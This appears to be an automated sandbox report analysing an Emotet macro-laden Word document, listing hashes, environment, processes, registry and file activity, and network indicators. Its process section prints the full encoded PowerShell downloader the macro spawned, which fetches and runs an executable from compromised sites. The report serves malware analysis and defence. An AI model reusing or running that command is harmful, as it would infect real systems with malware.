Malware analysis nm7f-3uwvl-ctbejp Malicious activity

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download:	nm7f-3uwvl-ctbejp
Full analysis:	https://app.any.run/tasks/66f5bc95-6b2b-4376-aa80-a5add98e508e
Verdict:	Malicious activity
Threats:	Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. Malware Trends Tracker >>>
Analysis date:	March 21, 2019, 20:05:56
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open generated-doc emotet-doc emotet
Indicators:
MIME:	application/msword
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Mar 21 15:07:00 2019, Last Saved Time/Date: Thu Mar 21 15:07:00 2019, Number of Pages: 1, Number of Words: 2, Number of Characters: 12, Security: 0
MD5:	270DE101A8B53B7AFB1373B3991DF753
SHA1:	0C5568C2738CD7F2BBD0755395C2FDB005D0BC74
SHA256:	C9AE0D5A5A3AB98891987D3D305F7BDFA279449A3BD5B49137216890CD03CC01
SSDEEP:	3072:+977HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qfKbms7Ow9DXFMpzAK:c77HUUUUUUUUUUUUUUUUUUUT52VGemjl

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
No malicious indicators.
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 3628)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 3464)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 3464)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.doc	\|	Microsoft Word document (54.2)
.doc	\|	Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title:	-
Subject:	-
Author:	-
Keywords:	-
Comments:	-
Template:	Normal.dotm
LastModifiedBy:	-
RevisionNumber:	1
Software:	Microsoft Office Word
TotalEditTime:	-
CreateDate:	2019:03:21 15:07:00
ModifyDate:	2019:03:21 15:07:00
Pages:	1
Words:	2
Characters:	12
Security:	None
CodePage:	Windows Latin 1 (Western European)
Company:	-
Lines:	1
Paragraphs:	1
CharCountWithSpaces:	13
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	-
HeadingPairs:	Title 1
CompObjUserTypeLen:	32
CompObjUserType:	Microsoft Word 97-2003 Document

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

3464

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\nm7f-3uwvl-ctbejp.doc"

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Word

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll

3628

powershell -e JABKAFUAQQBCAEEAWABrAFEAPQAoACcASwAnACsAJwBCAHgARABBAEEAJwApADsAJABmAEcARABBAEEAWgB4AD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABWAFEAQQBfADQAVQA9ACgAJwBoAHQAdABwADoALwAvAHMAaQBhAG0AbgBhACcAKwAnAHQAdQAnACsAJwByACcAKwAnAGEAbAAuAGMAbwAnACsAJwBtAC8AdABtACcAKwAnAHAALwBFAG0AQwAnACsAJwAvAEAAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8AJwArACcALwBjAGgAZQBmAG0AbwAnACsAJwBuACcAKwAnAGcAJwArACcAaQBvAHYAJwArACcAaQAuAGMAbwBtACcAKwAnAC8AJwArACcAdwAnACsAJwBwACcAKwAnAC8AJwArACcAeQBpAGcAQQAvACcAKwAnAEAAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwBzAGkAbQBwAGwAeQAnACsAJwByAGUAcwAnACsAJwBwAG8AJwArACcAbgBzACcAKwAnAGkAdgAnACsAJwBlAC4AYwBvACcAKwAnAG0ALwBzACcAKwAnAGEAbQBwACcAKwAnAGwAJwArACcAZQBzAC8AMwBJACcAKwAnAC8AQABoAHQAdABwAHMAOgAvACcAKwAnAC8AaABlACcAKwAnAGMAaABpACcAKwAnAHoAbwAnACsAJwBzAHkAYwAnACsAJwBvAG4AagB1AHIAbwAnACsAJwBkAGUAYQBtAG8AcgAuACcAKwAnAGkAbgBmAG8ALwAnACsAJwB3AHAALQBpAG4AYwBsAHUAZABlACcAKwAnAHMALwBGAEcAJwArACcARgAvAEAAJwArACcAaAB0AHQAcAA6AC8ALwB2AGkAJwArACcAcwBhAC4AbwByAGcALgB1AGEALwB3AHAALQBjAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnAC8AbgAnACsAJwBuAFMAWgAvACcAKQAuACgAJwBTAHAAbAAnACsAJwBpAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAnAEAAJwApADsAJABKAEQAWABCAEMAQwBCAF8APQAoACcAWgBBAFgAYwBBAEEAJwArACcAQgAnACkAOwAkAG8AawBfAFUAMQA0AFUAWgAgAD0AIAAoACcAOQAnACsAJwA2ADYAJwApADsAJABuAEEAQQBDAEEANABCAD0AKAAnAEUAJwArACcAQgB3AFoAXwAxACcAKQA7ACQAVABDAHcAWAB3AEEAVQBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABvAGsAXwBVADEANABVAFoAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTAEEAUQB3AEIAXwBRACAAaQBuACAAJABWAFEAQQBfADQAVQApAHsAdAByAHkAewAkAGYARwBEAEEAQQBaAHgALgAoACcARAAnACsAJwBvAHcAbgBsAG8AYQBkACcAKwAnAEYAJwArACcAaQBsAGUAJwApAC4ASQBuAHYAbwBrAGUAKAAkAFMAQQBRAHcAQgBfAFEALAAgACQAVABDAHcAWAB3AEEAVQBvACkAOwAkAGYAXwBBAGMAQwAxAEcAPQAoACcAdAAnACsAJwB3AFUAVQBRAFgARAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQAVABDAHcAWAB3AEEAVQBvACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFQAQwB3AFgAdwBBAFUAbwA7ACQASABRAEEAQgBBAEQAPQAoACcAcQBvADEAJwArACcAQQBVAEcAQgAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBVAEcAUQBBAEEARwB3AD0AKAAnAEsAJwArACcAVQAxAFUAQgBBADEAJwApADsA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

wmiprvse.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll

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Total events

1 334

Read events

871

Write events

458

Delete events

Modification events


(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	#3=
Value: 23333D00880D0000010000000000000000000000
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1316290590
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1316290704
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1316290705
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: 880D0000001CF68821E0D40100000000
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	,4=
Value: 2C343D00880D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	,4=
Value: 2C343D00880D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3464) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3464	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR7A3.tmp.cvr		—
		MD5:—	SHA256:—
3628	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2XUX8UOZCHXF2DO0I4TW.temp		—
		MD5:—	SHA256:—
3464	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\~$7f-3uwvl-ctbejp.doc		pgc
		MD5:—	SHA256:—
3464	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:—	SHA256:—
3628	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF10132c.TMP		binary
		MD5:—	SHA256:—
3628	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
3464	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd		tlb
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3628	powershell.exe	GET	—	216.22.21.82:80	http://siamnatural.com/tmp/EmC/	US	—	—	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3628	powershell.exe	216.22.21.82:80	siamnatural.com	ServInt	US	malicious

DNS requests

Domain	IP	Reputation
siamnatural.com	216.22.21.82	malicious

Threats

PID	Process	Class	Message
3628	powershell.exe	Potential Corporate Privacy Violation	ET POLICY PE EXE or DLL Windows file download HTTP
3628	powershell.exe	Potentially Bad Traffic	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3628	powershell.exe	Misc activity	ET INFO EXE - Served Attached HTTP

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No debug info

General Info

nm7f-3uwvl-ctbejp

270DE101A8B53B7AFB1373B3991DF753

0C5568C2738CD7F2BBD0755395C2FDB005D0BC74

C9AE0D5A5A3AB98891987D3D305F7BDFA279449A3BD5B49137216890CD03CC01

3072:+977HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qfKbms7Ow9DXFMpzAK:c77HUUUUUUUUUUUUUUUUUUUT52VGemjl

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

SUSPICIOUS

Creates files in the user directory

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings